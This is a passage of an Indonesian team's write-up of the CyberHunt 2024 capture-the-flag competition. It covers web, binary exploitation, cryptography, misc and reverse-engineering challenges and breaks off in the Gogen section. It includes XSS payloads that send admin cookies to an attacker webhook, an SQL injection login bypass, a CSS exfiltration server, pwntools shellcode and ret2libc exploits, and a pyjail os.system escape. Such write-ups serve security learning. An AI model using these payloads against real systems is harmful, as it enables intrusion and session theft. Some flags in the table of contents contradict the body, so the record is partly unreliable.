N2LHaRD_Write_Up_Cyber_Hunt24
Write Up CyberHunt 2024
N2L - HaRD
Newton’s second law
Daniel
Hafidz
Caleb
Daftar Isi
Web Exploitation 6
simple curl 6
Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA} 7
simple curl medium 7
Flag: CYHUNT24{m3dium_ezz_br0} 7
starboy or starling? 7
Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP} 8
JWT 8
Flag: CYHUNT24{Udah_daftar_Technofair_belum??} 8
Bread 8
Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE} 8
Agent Rahasia 8
Flag: CYHUNT24{zzpatnam_eheh} 8
Val and Key 9
Flag: CYHUNT24{K3rja_B49us} 9
GerAld 9
Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya} 9
Javat (The Comeback Of Jawat) 10
Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit} 10
ConDupload 11
Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u} 12
ConnectDuo 13
Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3} 15
XCRIP’ss 16
Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll} 18
Binary Exploitation 19
ash 19
Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?} 20
trip 20
Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t} 21
punktion 21
Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch} 22
Cryptography 23
ber berr bernyanyi bernyanyi 23
Flag: CYHUNT24{1100_1011_1110_1111} 24
easy decode 24
Flag: CYHUNT24{just_decode_bradah} 26
rail fense 26
Flag: CYHUNT24{just_for_wsrmup_beiB} 27
ikan mati 27
Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas} 28
aRC4de 29
Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY} 29
Secret Message 30
Flag: CYHUNT24{EASY_CHALL_CRYPTO} 31
ezz warmup 31
Flag: CYHUNT24{k4mu_s3puh_bett_yah} 32
Rivest Shamir Adleman 32
Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 32
kembalikan fotoku 33
Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3} 34
RSA 34
Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA} 36
Misc 36
find me 37
Flag: CYHUNT24{nice_tandanya_matamu_sehat} 38
behind the email 39
Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung} 40
World Based 41
Flag: CYHUNT24{Ban9_udah_Ban99} 42
Cari MD5 Hash 42
Flag: CYHUNT24{Md5hash_f1le_itu_Koenji} 43
Jahil 43
Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t} 44
ZipZig 45
Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s} 47
Benjamin Angel 47
Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly} 48
Reverse Engineering 49
Tebak password 49
Flag: CYHUNT24{juST_R3aD_IT} 49
ular aneh 50
Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS} 51
static 51
Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N} 52
Regoal 52
Flag: CYHUNT24{} 52
Gogen 53
Flag: CYHUNT24{w4s_s0_3z_f0r_g0l4ng} 54
Digital Forensic 55
barang bukti 55
Flag: CYHUNT24{6350386314} 55
kena heck 56
Flag: CYHUNT24{usb_my_fav_St0rage} 56
Flagstorage 56
Lookin’ for Secrets 57
Flag: CYHUNT24{appd4ta_c4ch3data_235wefs35} 58
tebak aku 58
Flag: CYHUNT24{tetap_ilmu_padi_abangku} 58
IMG 58
Flag: CYHUNT24{masih_pemanasan_iniii} 59
Steg 59
Flag: CYHUNT24{masih_easy-lahh_yaaa} 59
bit/bit 59
Flag: CYHUNT24{1n_god_w3_trust} 60
rumah makan on day monday 60
Flag: CYHUNT24{CYHUNT24{m1s1_suks3s_k4mu_c1n4_as33l111}} 60
Child’s Play 60
Flag: CYHUNT24{br0ken_h3x_i5_EasY} 60
Huh Its Me Again 61
Flag: CYHUNT24{t3mpl4t3_d4ng3r0us_s3r10usly} 61
ayo maen bola 62
Flag: CYHUNT24{T0pP_SLUR} 63
Osint 64
no feedback 64
Flag: CYHUNT24{86554} 65
citylight 66
Flag: CYHUNT24{X9X4+69} 68
Koko Doko? 68
Flag: CYHUNT24{-6.454,106.672} 69
old pict 69
Flag: CYHUNT24{hehehe_congrats////} 70
masalalu 71
Flag: CYHUNT24{23_09_2011} 72
searchengine 72
Flag: CYHUNT24{3h_ketemu_d1sini} 73
Ingris Berduka 74
Flag: CYHUNT24{10665} 75
Destinasi 76
Flag: CYHUNT24{Obelix_Sea_View} 77
OSIG 78
Flag: CYHUNT24{EASY_CHALL_OSINT} 78
[CyberHunt 2024]
Welcome Chall
Overview
Free flag dari CyberHunt 2024.
Flag : CYHUNT24{WELCOME_CYBER_HUNT2024}
[Web Exploitation]
simple curl
Overview
Diberikan source code beserta service pada url http://cyberhunt.my.id:8080/
Attachment
Code Review
Source code berisi kode program dalam bahasa pemrograman Golang (Go). Melalui analisis kami, kami menemukan beberapa kode penting, salah satunya adalah pengecekan request URL.
func redirectChecker(req *http.Request, via []*http.Request) error {
reqIp := strings.Split(via[len(via)-1].Host, ":")[0]
if len(via) >= 2 || reqIp != "127.0.0.1" {
return errors.New("Something wrong")
}
return nil
}
karena mirip dengan Cake CTF 2022 jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara
Flag: CYHUNT24{YmFieV9zaW1wbDNfZzBfY3VybA}
simple curl medium
karena mirip dengan Cake CTF 2022 seperti tadi jadi kami pakai saja cara mereka untuk mendapatkan flagnya dengan cara
Flag: CYHUNT24{m3dium_ezz_br0}
starboy or starling?
terdapat wu yg mirip pada soal ini yakni
https://blog.hamayanhamayan.com/entry/2022/09/04/150554#web-CakeGEAR
tinggal login pakai body ini
{"username":true,"password":true}
Flag: CYHUNT24{str1ng_b3fore_us1ng_sw1tch_in_PHP}
JWT
kita tinggal edit roles nya jadi admin dah kelar di cookienya yang bagian body jwt nya
Flag: CYHUNT24{Udah_daftar_Technofair_belum??}
Bread
kita dpt link replit, kita buka aja lgsg trs ke /flag.txt
https://5e8745bc-534c-498f-baf4-a1af117324c9-00-1k2ltb2e8vmpn.sisko.replit.dev/flag.txt
Flag: CYHUNT24{COOKIES_COOKIES_ENAKK-TAUU_HEHEHE}
Agent Rahasia
kita tinggal set agentnya jadi cyberspecters dan dpt flagnya btw flagnya ni dibaca terbalik isinya
curl https://ctf.teknokrat.ac.id/chall/cyberhunt/agent.php -H "User-Agent: cyberspecters"
CYHUNT24{zzpatnam_eheh}%
dan di reverse teks
Flag: CYHUNT24{hehe_mantapzz}
Val and Key
kita tinggal set header val dan key nya sesuai deskripsi
mintaflag=cyberspecters
curl https://ctf.teknokrat.ac.id/chall/cyberhunt/header.php -H "Cookie: X-Header-key=mintaflag;X-Header-val=cyberspecters"
CYHUNT24{K3rja_B49us}%
Flag: CYHUNT24{K3rja_B49us}
GerAld
sama kayak yg replit tadi kita buka pakai /flag.txt
https://1122a2a4-af20-447c-a1a7-bb85290d8a08-00-1snfmebwkm5i0.pike.replit.dev/flag.txt
Flag: CYHUNT24{kerenn_kamu_mendapatkan_flag_nya}
Javat (The Comeback Of Jawat)
disini menggunakan spring dan juga jwt, lgsg saya search spring exploit dan ketemu weak ECDSA signature https://www.linkedin.com/pulse/elliptic-curve-digital-signature-algorithm-flaw-mohammed-janbar
lgsg kita modif payload body jwt nya dan ubah bagian terakhir menjadi MAYCAQACAQA
eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.yjfvUuPdmyMqPJRt-c71fVluOXR2K_iddRN8FQ9BEybJOkbeCH7OpBwUZb-LlF9uBWZnTaPAi_xSzUt77nrhLA
jadi
eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA
Flag: CYHUNT24{w0w_j4g0_k4l1_4nd4_spr1ng_exploit}
ConDupload
disini ada terdapat kerentanan yakni xss pada rendering second page pdf ( dan pastekan xss nya tadi ke /logger untuk grab cookie admin )
lgsg aja pakai solver saya
import httpx
import fpdf
URL = "http://103.191.63.185:49047"
PDFNAME = "exploit.pdf"
WEBHOOK = "https://{{webhooklu}}"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url)
def sendpdf(self,namefilepdf) -> str:
data = {"file":open(namefilepdf,'rb')}
return self.c.post("/upload", files=data).json()["file_path"]
def triggeradmin(self,uid):
return self.c.get(f'/logger',params={
"url":f"{URL}/view/{uid}"
}).text
class API(BaseAPI):
def createPayloadPDF(self,payload,fileoutputname):
self.filename = fileoutputname
self.pdf = fpdf.FPDF(format='letter')
self.pdf.add_page()
self.pdf.set_font("Arial", size=12)
self.pdf.cell(200, 10, txt="your text", ln=1, align="L")
self.pdf.add_page()
self.pdf.cell(200, 10, txt=payload, ln=1, align="L")
self.pdf.output(self.filename)
if __name__ == "__main__":
api = API()
api.createPayloadPDF(f"""
<script>
fetch('{WEBHOOK}?c='+document.cookie)
</script>""",PDFNAME)
path = api.sendpdf(PDFNAME).replace("uploads/", "")
print(api.triggeradmin(path))
Flag:CYHUNT{3z_b4s1c_xss_f0r_y0u}
ConnectDuo
disini terdapat 2 kerentanan yakni xss universal path yakni /bootstrap.js ( karna gapake / jadi bs dirender dimanapun kalao kita set <base tag ) dan 1 lagi yaitu lfi read cmdline
untuk caranya kita tinggal host bootstrap.js di local kita dan tunneling menggunakan apapun yg kalian mau disini saya pakai playit. ini untuk isi bootstrap.js nya
yaitu mengirim cookie di requestcatcher
selanjutnya kita host file ini bs menggunakan simple server python dan juga ngrok
dan lgsg saja kita taruh payload
<base href="http://kids-penn.gl.at.ply.gg:45858">
dan kita taruh di /logger jadi full payloadnya
http://103.191.63.185:8837/logger?url=http://103.191.63.185:8837/msg?payload=<base href="http://kids-penn.gl.at.ply.gg:45858">
dan cek webhook kita
terdapat cookieadmin. lgsg kita eskalasi ke lfi
dapet nama flag nya. lgsg kita get
Flag: CYHUNT{g00d_j0b_h4x0r_ch41n1n9_m0r3_4nd_m0r3}
XCRIP’ss
Disini kami harus melakukan xs-leak, namun ada beberapa rules pada csp.
csp = { 'default-src': ['none'], \
'style-src': ['*'], \
'img-src': ['*'], \
}
Kami sudah jelas tidak bisa melakukan XSS karena default-src none, namun kami bisa memanfaatkan style-src yang nantinya kami bisa pakai css selector buat nge match flag di attribute value h2 satu per satu.
Di login ada sqli tapi username kami harus broskiereallythink_he_is_admin_lol biar bisa request ke /logger dan di password harus ada string t rootp dan length nya harus 57 setelah nyoba nyoba semua payload akhirnya kami dapet payload kaya gini.
username = "broskiereallythink_he_is_admin_lol"
password = "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"
karena ini xs leak untuk solver nya kita buat 2 script yang pertama solver.py dan server.py.
solver.py
import requests
import http.server
import sys
import string
URL = "http://103.191.63.185:8337"
URL_SERVER = sys.argv[1]
admin_request = requests.Session()
admin_request.post(URL + "/login", data={
"username": "broskiereallythink_he_is_admin_lol",
"password": "t rootp' union select 1,2,3 -- aaaaaaaaaaaaaaaaaaaaaaaaaa"
})
for count in range(100):
response = admin_request.get(
f"{URL}/logger?url={URL}/dash?usr=<link rel='stylesheet' href='{URL_SERVER}/{count}.css'>"
)
server.py
from flask import Flask
import string
HOST = "10.10.0.1" # ip public vps
PORT = 8000
FLAG = ""
app = Flask(__name__)
@app.route("/<flag>", methods=["GET"])
def index(flag):
global FLAG
FLAG = flag
return flag
@app.route("/<int:count>.css", methods=["GET"])
def css(count):
global FLAG
payload = ""
for char in string.ascii_letters + string.digits + "_{}":
payload += f'h2[value^="{FLAG}{char}"]{{background: url("http://{HOST}:{PORT}/{FLAG}{char}"), auto}}'
return payload, 200, {"Content-Type": "text/css"}
if __name__ == "__main__":
app.run(host=HOST, port=PORT, debug=True)
Setelah penantian panjang buat dapetin flag akhirnya kita dapet flagnya CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}
Flag: CYHUNT24{m4k4s1h_ud4h_s0lv3d_4ll_ch4ll}
Binary Exploitation
ash
basically kita cmn perlu write shellcode dan leak address saja dan ini solvernya
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ["kitty", "@launch", "--cwd=current", "--location=vsplit"]
exe = context.binary = ELF(args.EXE or 'chall2')
host = args.HOST or '103.191.63.185'
port = int(args.PORT or 9999)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
# '''Start the exploit against the target.'''
# if args.LOCAL:
# return start_local(argv, *a, **kw)
# else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak vuln
continue
'''.format(**locals())
# -- Exploit goes here --
io = start()
io.send(cyclic(0x40))
io.recvuntil(cyclic(0x40))
buf = u64(io.recv(6) + b"\0\0") - 336
log.info(f"buffer @ 0x{buf:x}")
shellcode = asm(shellcraft.sh())
offset = 328
io.sendline(flat({0: shellcode, offset: buf}))
io.interactive()
Flag: CYHUNT24{w1nn1ng_4_sh3ll_y34?}
trip
ropgadget ret2libc dengan memanfaatkan got.setbuf untuk ngeleak address dari libc
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
if args.REMOTE:
r = remote("103.191.63.185", 13377)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
rop1 = ROP(exe, badchars=b'')
rop1.puts()
rop1.main()
log.info(rop1.dump())
r.sendlineafter(b'sus?', b'A' * 56 + p64(exe.got.setbuf) + b'B' * 8 + rop1.chain())
libc.address = int.from_bytes(r.recvline(keepends=False), 'little') - libc.symbols.setbuf
log.info(f'{hex(libc.address)=}')
rop2 = ROP([exe, libc], badchars=b'')
rop2.execve(next(libc.search(b'/bin/sh\0')), 0, 0)
log.info(rop2.dump())
r.sendlineafter(b'sus?', b'A' * 72 + rop2.chain())
r.interactive()
Flag: CYHUNT24{n1c3_tr1p_0f_l1bc_1snt_1t}
punktion
leak canary menggunakan printf leak dan return to function win ( _punk_uns )
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall")
context.binary = exe
if args.REMOTE:
r = remote("103.191.63.185", 9993)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
r.sendlineafter(b'what grade are u?', b'A' * (0x48 - 3) + b"i'm")
r.recvuntil(b'hi ')
canary = u64(b'\0' + r.recv(7))
log.info(f'{hex(canary)=}')
pl = b'A' * 0x48
pl += p64(canary)
pl += b'B' * 8
pl += p64(exe.symbols._punk_uns)
r.sendlineafter(b'SMA', pl)
r.sendline(b'bye')
r.interactive()
Flag: CYHUNT24{4z_r3t_h3h3h3_n1c3_c4tch}
Cryptography
ber berr bernyanyi bernyanyi
diberikan file berupa zip yang jika di ekstrak menghasilkan 4 foto dari chord gitar dan karena saya tidak bisa bermain gitar jadi saya mencari chord tersebut di google
okee dari foto tersebut diketahui bahwa chord dari foto foto tersebut ialah cbef, karena di hint disuru menggunakan binary jadi kita rubah menjadi binary, akan menjadi seperti berikut 01100011 01100010 01100101 01100110 setelah mencoba submit kita menemukan bahwa flagnya adalah
Flag: CYHUNT24{1100_1011_1110_1111}
easy decode
diberikan file chall.txt yang berisikan file jsfuck
lalu kita coba run jsfuck di sini
mendapatkan hasil tersebut, kelihatannya base64 jadi
setelah itu, hasil dari decode an nya berupa ascii jadi tinggal diubah ke ascii sajaa
Flag: CYHUNT24{just_decode_bradah}
rail fense
Diberikan sebuah Plaintext, dan berdasarkan judul adalah sebuah rail fence cipher. Kami pun melakukan decrypt di https://www.dcode.fr/rail-fence-cipher.
Flag: CYHUNT24{just_for_wsrmup_beiB}
ikan mati
Berdasarkan, nama challnya, kami langsung terpikirkan pada Deadfish Language. Kami pun men-decode isi dari chall.txt di https://www.dcode.fr/deadfish-language.
Setelah di decode, terlihat outputnya adalah sebuah decimal, kami pun mengubahnya ke text di Cyberchef.
Flag: CYHUNT24{m4sih_P3m4nas4n_uNtuk_y4ng_BeLom_P4nas}
aRC4de
Dengan melihat nama soal dapat disimpulkan hint atau soal menggunakan bahasa RC4, jadi mari kita lihat isi dari chall.txt
Terlihat bahwa ada bilangan desimal, mari kita eksekusi
Nilai hex yang dimiliki melati di buat untuk KEY dan nilai hex mawar untuk ciphertext terakhir nilai dari drop bytes adalah 2, dan menemukan flagnya
Flag: CYHUNT24{1Ts_b4d_t0_u53_th3_s4me_keY}
Secret Message
Soal ini memberikan sebuah chall.txt yang berisi pesan rahasia yang menggunakan bahasa asing
Dengan itu saya analis menggunakan dcode
Terlihat ada beberapa bahasa yang mengidentifikasi pesan tersebut menggunakan bahasa apa saja. Di sini saya mencoba semuanya dan saya menemukan bahasa base 64 di vigenere
Dengan KEY nya saya mengam sumsikannya adalah “cyberspecters”, setelah menemukan base64 langsung saja eksekusi
Flag: CYHUNT24{EASY_CHALL_CRYPTO}
ezz warmup
beaufort cipher -> base64 -> save file to image
https://www.boxentriq.com/code-breaking/beaufort-cipher
Flag: CYHUNT24{k4mu_s3puh_bett_yah}
Rivest Shamir Adleman
from pwn import *
from math import isqrt
from Crypto.Util.number import inverse
def solve(C, N, L):
poss = []
mlim = 2**20
for x in range(1, mlim):
a = x
b = L-N-x**2
c = x*N
d = b**2-4*a*c
if (d < 0):
continue
qform = (-b + isqrt(d))//(2*a)
p = N//qform
if ((p-x)*(qform-x) == L):
poss.append((qform))
break
p, q = poss[0], N//poss[0]
phi = (p-1)*(q-1)
e = 65537
d = inverse(e, phi)
decrypted = pow(C, d, N)
return decrypted
# Call the function with the given values
c = 482141814293590197502811474932029460661002532026573389658314180817247220459567499644958813997954118165812805842379533342289685282342190878463555770319306702212371338421308577197808075733262746698915443870285704975713938187354245306882018603981861096910392565923449771474244846133935858183892442399384530396818463948228866440593529120035856503573645835417661055033375809617574668281810192642128039857794375578196515576016282697213146284137358859161967849203722347022670851942110328128090220811544954105609007156939589338442749349192205490919357312671666371523730743353967110958600501669921250066538273401682291394345855460667419963405890047662195424411646413051239913962784724603414614295672619281243619974099998284023569416931872380118826378415952641962074347822268988907665410162093893191294976542657310550364750171962183438541560667737058713130139687475959700180617174146124271080565029179919134970482251352276610620942172891344884427239369811412269931877319732705001157215137568954175594638966910255750482059458912720602745097824142949013286464493638164353122838573908807596997028438262020669411601445790668381313964905487504298277380439317740327368087769300728419726732791363279157290655787601257794628395101155639644842341699135
n = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028743199581982618427539635114018387999459427096585596693094766887196412186777166762256300898635951447124132990564023307970180232108839523620932245689560214004901167211276865443187285178973208030606403570904348286971729129443319014922388783953027047306977514434942111024688334842204849639082723659326322942197554172703594382622361330415889304337481105006710674314832429392048823309376897392093291814544752178756331313933326274918397555806383966827938477797887626322295583067419678526170502751051815999547491346475838775493379963575950945383094288905785578862781590155292357993465257441076750559390702777793879920773923360505729
dont_leak_this = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028714802587756819617526310246486562249308878287369930281829317109892460612723293059038039377951279889185229047320642775074454514818408542100144672509117014404047926851555589041911378576323871490499216596863639711990956042881047663425365554770338969149632362156926749689032941662498470212439140672375430670960299764832213587813403640167633921698621055954011608605679143972873686998704229434426363359898491268123599344516156578500620032253510315791194134471452469574313538124525100206752789188994952941057690705690718223779232894758631999316421367042043555780702270494361128263524494859425138025952452591616585550294890683685104
print(solve(c, n, dont_leak_this))
Flag: CYHUNT24{just_a_simple_algebra_am_i_right?}
kembalikan fotoku
Gambar flag di split dijadikan chunk dengan length 5 yang di jadikan long dan dienkripsi pakai XOR yang key nya random. Kami bisa pakai 5 byte pertama dari header png kemudian XOR dengan hasil enkripsi pertama buat dapetin key, setelah itu tinggal deksripsi semua chunk.
from Crypto.Util.number import bytes_to_long, long_to_bytes
import string
png = "89 50 4E 47 0D 0A 1A 0A"
png_long = bytes_to_long(bytes.fromhex(''.join(png.split()))[:5])
chip = eval(open('enc', 'r').read())
key = chip[0] ^ png_long
print("Key :", key)
png = b""
for i in chip:
decrypted = long_to_bytes(i ^ key).rjust(5, b'\0')
png += decrypted
open('self_solv.png', 'wb').write(png)
dan kami dapat flag CYHUNT24{d0Nt_sH4R3_mY_iM4g3}.
Flag: CYHUNT24{d0Nt_sH4R3_mY_iM4g3}
RSA
calculate p pake gcd dp dan p2q
Crypto/RSA
from Crypto.Util.number import long_to_bytes, inverse
from math import gcd
# Given values
ciphertext = 6679751571680153009963904682331184917652002856700102310232283862142510059360180548700458831963141409609920551415092207709728225180286265998724528164577674542248721526251187945599585717178191437930160757806807093902793807235144537860942319684760999843630442651226130860002909404140653471185313647715181302304167348924688037557405954539411557457882044330160211329312062720746325861916622922820920104281967898138703453429045946889126965213138749635812159404760369795951532507412006588445870437729196704275485530658165559396122865023696853894261433203860671549068300198104293392003636061195320565520679305383883882898704604559634890784729197249080759946890339250163066886325287412173193725229601090022511506412230800802290674678253497769900141951607190755458800862513784646884224494722467907534558045716790058316430899730082488292110364545682645526449625284655084352824888655261021276231604789263073577754238178023201953270541398611484040131436716568377922478723737147991263070279633895970368806063613324760527575876314365886699695723894144649502485701910377316805704678920436308732783312047975198912094727120936436700875408590797953864331729040548975810138259062653692644739165742002068121098949542299582433914931491801296451377581006636483
dp = 171432559101471989605646948356373748103604947361256607378340448850139917017741253759903745507057919262287422186222940360213785420605757333138847887731767022598405608474995330651947849082078370449736651288592860283221797983119927725117149200774804739974975582585523359416946408144385855153221559461347298824391132395892996924625640872166698317735741877365806943143135835009957625457973450121352962604530814817655901697483088999524541499291037003678660130712141021632221794174249924834077632177968501757212722623350575181797794958244328870841294336463187222306714995492272643611646928249482017303542563647469595369211254712548098832095540995311841074627538151877339371487927806145948905672833767915852929856220973560840386125633752412480320584458935038302142751449534187398925662384466751897711549687947862910839873293128396014847384039868091701077519788860107065614981153691686685326821058865631742737041863375989903668129520572806351954019608985002225703602063443485842326068527683024332639834458331067102353325840535706456324422275754723563198715550407175182648240718090477435547945193732546635158601952418224352960525259751828810794856217898929112965219114783525262615310830832190730442349789460621438028345913017708361465523133564202266062786788681281757147027464002581040633319572450555353324321699056478024157129773151732670142844483164508432539498373947180375305585469627835596667356476511772733667404728958877380598398949024045379136292741643874960237432332704625052528856617384339450570121280954511126937150643703664520808218298441310306024377957237049720519185727832578500913286023909348162473989113812550805225552724830261887490591714039944400527976071373184209831845969062119462403725052459177546892619818022391873329229206364783314296446725486658518678734803325482151370648102682365593547647791628684309371655283249776091365996509876023788183283
p2q = 213170963396891562143729893832305593956284174845169799407158675577110705655852548100992539024685605819040523438354858977086250927051314265096682933654811030453120355993278986527591427479217724393594363257765113070515263721083971223242626072880720581419978650145288765887646651182214510751858103451633012485610884049514075314470934936707881750297833515167875716398286561408739074084796622722760821747711526623749451276879787567817851745356924240775796394772442579161577074751879657031608875439664580204201692487743603940603018464632550634822614684162563342914622534096899198261578687727659671151167232592054166999563570889708448262394605837628857811991515889971291433914715772638211960415936759778304390577548067679510456479994850801235456371216662187652015317755739895815495111283612397090640609867328889881660712528196291865436926052849406375373713408563964846026093263911701059393127967976555276551426913678840649401811190075325584784349447556418171890714076070692905482708888254009586154239227598710507703178655793348942676198573019759816326439893896477510901166547609616895842071430538232916809944394150298378345872103063301628330221653850388439443364638019538570767613777320343878189983973545330874737453400095937886979792088374986323520843348511102325586784495504624319448813796476293969903137538257355998338779733642119548481876998281481405692762331628893501531291329441495308243568019180766627407280078643666235573172278294075588442969374279359865601439488703565838942636582392466277488366374194890249687124242483769387553299912110196370951410060473480026800086484176574417759880104620851539589554039438701036794016648069808210636519140497455612086833766213769594997981459162235532307853956081579590271809503536822605626989725511498994042990581546736877584625171747601769972545109503616616296913370130968957785947869343438375248167319517552596218503
e = 65537
# Step 1: Compute p using gcd
p = gcd(dp, p2q)
# Step 2: Derive q from n and p
q = p2q // (p * p)
n = p * q
# Validate the computed q
assert p * q == n, "p and q do not multiply to n"
# Step 3: Compute phi and the private key d
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
# Step 4: Decrypt the ciphertext
decrypted_flag = pow(ciphertext, d, n)
# Convert the decrypted flag back to bytes
decrypted_flag_bytes = long_to_bytes(decrypted_flag)
# Print the decrypted flag
print(decrypted_flag_bytes)
Flag: CYHUNT24{CHALL_RSA_WAJIB-ADA}
Misc
find me
Diberikan sebuah gif yang isinya beberapa gambar random
Setelah kami lihat dengan lebih cermat, terdapat sebuah gambar yang terdapat QR code.
Kami pun melakukan scan pada QR tersebut dengan google lens.
Flag: CYHUNT24{nice_tandanya_matamu_sehat}
behind the email
Kami pun menjalankan command strings untuk melihat isinya.
Terlihat sebuah base64 text, kami pun langsung decode.
Hasil decode tadi ternyata sebuah link google docs.
Kami pun mencoba untuk melihat history editnya.
Flag: CYHUNT24{cum4_g1ni_4ja_gak_us4h_b1ngung}
World Based
Diberikan sebuah text base64 yang sangat panjang. Nampaknya ini di encode dengan base64 berkali kali sehingga menghasilkan ciphertext yang sangat panjang. Untuk penyelesaiannya, kami gunakan cara manual, yaitu decode 1 persatu di cyberchef, namun cukup mudah dengan cara copy paste berulang ulang.
Flag: CYHUNT24{Ban9_udah_Ban99}
Cari MD5 Hash
Diberikan sebuah file zip yang ketika si ekstrak mengeluarkan banyak file .txt.
Kami pun mencoba untuk melakukan strings ke semua file .txt tersebut.
Flag: CYHUNT24{Md5hash_f1le_itu_Koenji}
Jahil
Berikut yang di blacklist.
‘+breakpoint()+’
import os
os.system(‘cat fl*’)
Flag: CYHUNT24{pyJa!l_br3AkPoinT_bu1ltIn_xPlo!t}
ZipZig
Diberikan file zip yang ketika di unzip akan menjadi seperti berikut
setelah itu, setelah kami melihat lihat ternyata ada file yang aneh bernama .git, yang sebenarnya itu adalah folder untuk menyimpan informasi project seperti commit, alamat repo dan lain lain tapi kok filenya berupa zip?
oke mari kita coba untuk mengekstrak nya, biar tidak campur campur kita buat folder baru.
okee kita sudah ektrak lalu memasukkannya pada folder solve. setelah itu kita tinggal liat lognya ini merubah apa saja.
kami sudah mencoba untuk git log dan grep tidak menemukan apa apa setelah itu saya mencoba untuk git show satu” ternyata menemukannya di awal dengan commit message “modifikasi”
Flag: CYHUNT24{g1t_1s_wh4t_1t_t4k3s}
Benjamin Angel
kita brute dgn comparasion new valuenya yg dr servernya
from pwn import *
from hashlib import sha512
r = remote('103.191.63.185', 31337)
def H(m):
return sha512(m).digest()
def xor(a, b):
return bytes([i ^ j for i, j in zip(a, b)])
def sign(m):
r.recvuntil(":> ")
r.sendline(m)
hash = r.recvline().decode().strip("").split(": ")[1]
print(hash)
return hash
def main():
zpreimage = b'\x00'
zhash = H(zpreimage).hex()
flag = ""
to_send = b''
while True:
for i in range(32, 129):
temp = to_send + i.to_bytes(1, 'big')
print("Sending: ", temp)
temp2 = sign(temp)
if temp2 == zhash:
flag += chr(i)
print("Found!", flag)
to_send = flag.encode()
zpreimage += b'\x00'
zhash = H(zpreimage).hex()
break
else:
print("nope")
if __name__ == '__main__':
main()
Flag: CYHUNT24{3ncryp710n_x0r_w17h_5h4_512_n07_s3cur3_1_h0p3_y0u_ain7_d0_m4nu4lly}
Reverse Engineering
Tebak password
Diberikan file ELF64 Executable, langsung saja kami membuka ida64.
Dan flagnya berhasil kami dapatkan.
Flag: CYHUNT24{juST_R3aD_IT}
ular aneh
basically kita bisa gpt dan convert ke py
flag = [
134, 178, 144, 170, 156, 168, 100, 104, 246, 232, 144, 146, 166, 190, 146,
230, 190, 160, 242, 232, 208, 96, 156, 190, 146, 220, 190, 200, 146, 166,
130, 166, 250
]
def dec():
dec = ''
for i in flag:
decrypt = chr(i >> 1)
dec += decrypt
return dec
# Example usage
decrypted_message = dec()
print(decrypted_message)
Flag: CYHUNT24{tHIS_Is_Pyth0N_In_dISAS}
static
secret di xor dengan 0x99.
langsung aja di decode.
Flag: CYHUNT24{D0_yoU_kN0w_wh4tiS_St4tic_m34N}
Regoal
Pakai wireshark ada request dan useragent nya itu flagnya tinggal decode aja.
Setelah didecode.
Flag: CYHUNT24{g00d_j0b_w4rm_4p}
Gogen
Pada program, token dilakukan xor yang kemungkinan resultnya adalah flag. karena kami tahu bahwa format flagnya CYHUNT24 Kami bisa menggunakan ini untuk mendapatkan key nya dan untungnya key hanya mempunyai panjang 3 karakter.
